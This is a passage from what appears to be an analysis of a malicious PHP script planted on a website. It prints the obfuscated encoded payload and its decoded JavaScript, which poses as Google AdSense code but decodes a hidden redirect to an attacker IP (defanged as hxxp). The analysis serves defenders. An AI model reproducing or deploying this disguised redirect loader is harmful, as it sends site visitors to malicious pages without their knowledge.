l\x781\x4dDA\x32\x51\x6c\x781\x4dD\x412Qlx1M\x44\x41\x7a\x52Fp\x61Wl\x70\x63d\x54\x41\x77M\x6a\x4ac\x64\x54A\x77\x4d0\x4acdTA\x77M0Nc\x64T\x41\x77\x4d\x6bZcd\x54AwNz\x4e\x63d\x54\x41\x77\x4ejN\x63dT\x41w\x4ez\x4acdT\x41\x77\x4ejlcd\x54A\x77\x4ez\x42\x63dTA\x77NzR\x63\x64TA\x77\x4d0\x55i\x4b\x54sNC\x6e0\x4eC\x6d\x64vb\x32\x64\x73ZV\x39\x68\x5a\x46\x39jb\x47\x6c\x6cb\x6eQg\x50\x53A\x69c\x48V\x69\x4cTE\x30M\x7a\x411\x4fDQ\x30M\x44g\x7aMTM\x34\x4e\x44\x4d\x69O\x770\x4b\x5a\x329v\x5a2xlX\x32\x46\x6bX\x33d\x70\x5aH\x52\x6f\x49D\x30g\x4e\x7aI\x34\x4f\x77\x30KZ\x32\x39vZ2\x78lX2\x46\x6b\x58\x32\x68la\x57\x64o\x64\x43A\x39IDk\x77Ow\x30KZ29vZ2\x78\x6c\x58\x32F\x6bX\x32Z\x76c\x6d\x31h\x64\x43A9\x49\x43I3\x4d\x6a\x68\x34OTBf\x59\x58\x4diOw\x30\x4b\x5a29\x76\x5a\x32\x78l\x58\x32Fk\x583\x525cGU\x67P\x53A\x69dG\x56\x34dF\x39\x70\x62\x57F\x6eZ\x53\x497\x44Q\x70\x6e\x6229\x6e\x62\x47\x56\x66Y\x57Rf\x59\x32hh\x62\x6d5l\x62C\x419\x49\x43\x49\x69O\x77\x30KZ\x32\x560\x62WUo\x49\x6d\x680\x64H\x416Ly9\x77Y\x57d\x6cYWQ\x79L\x6d\x64vb2\x64sZ\x58N\x35bmR\x70Y\x32\x460a\x579\x75L\x6d\x4e\x76\x62\x53\x39wY\x57d\x6cYWQvc\x32\x68vd1\x39\x68Z\x48\x4du\x61nM/M\x30\x493MTYwN\x6b\x55\x32\x4e\x44\x5aB\x4e\x6bQxO\x44\x59zN\x54c2M\x7a\x56CN\x6ag\x31\x4d\x7aU4\x4eT\x55\x79QzE\x77\x4e\x54c0\x52\x44YxNEI1Q\x7aR\x43\x4e\x54k\x30Rj\x551NTg\x77NTIwNT\x670O\x54\x52\x45N\x44\x49\x30QzUz\x4d\x44\x6b0\x4ejQ4M\x30Iz\x4f\x44R\x42M\x30\x55\x30\x4d\x7aQ\x78ME\x5a\x47\x4d\x7a\x4d\x34\x4eD\x4d\x30M\x6aN\x45M\x44\x5aGQ\x55\x595R\x6bV\x47N\x6bY\x34R\x6aZGN\x6bYyRjR\x47N\x6bY\x33RUVG\x4dE\x591\x52\x6a\x46F\x51\x6a\x4aE\x4d\x6b\x4e\x46Nz\x49\x34MUY\x79\x4e\x6bY\x30\x4dTUxO\x54\x454RUV\x46N0R\x47\x52\x45Z\x45\x52\x6bQyMUUxRjB\x43R\x54V\x45\x51\x55R\x42RDV\x45\x4eU\x4d1RE\x52E\x52EN\x47MTIwMTBG\x4dDUwQj\x42FR\x44c\x69\x4bT\x73\x4e\x43\x69\x38\x76L\x530+I\x44wv\x55\x30\x4eSSVB\x55\x50\x67\x3d\x3d");
echo str_replace("ZZZZ", $k, $txt);
exit;
}
}
The base64_decode call returns HTML/Javascript code shown below:
function getme(str)
{ var idx = str.indexOf('?'); if (idx == -1) return str; var len = str.length; var new_str = ""; var i = 1; for (++idx; idx < len; idx += 2,i++)
{ var ch = parseInt(str.substr(idx, 2), 16); new_str += String.fromCharCode((ch + i) % 256); }
document.write(new_str.substr(0,new_str.length-11)+"\u0026\u0067\u006F\u006B\u006B\u003D '''ZZZZ''' \u0022\u003B\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E");
}
google_ad_client = "pub-1430584408313843";
google_ad_width = 728;
google_ad_height = 90;
google_ad_format = "728x90_as";
google_ad_type = "text_image";
google_ad_channel = "";
getme("http://pagead2.googlesyndication.com/pagead/show_ads.js?3B71606E646A6D186357635B685358552C10574D614B5C4B594F5558052058494D424C530946483B384A3E43410FF33843423D06FAF9FEF6F8F6F6F2F4F6F7EEF0F5F1EB2D2CE7281F26F4151918EEE7DFDFDFD21E1F0BE5DADAD5D5C5DDDDCF12010F050B0ED7");
The google analytics code is cosmetic only. The actual bit that matters is the long string after showads.js? which gets rendered into something like:
< script language="javascript" > window.location="hxxp://5.101.146.174/rr.php?aff=7012&sub=3401&gokk=ZZZZ";</script>
The idea is a request comes in with a GET index set, such as log.php?ebe08b514a5a5e808c9d9084f66. The code will replace 'ZZZZ' with the GET string ebe08b514a5a5e808c9d9084f66 which determines what link the user gets redirected to.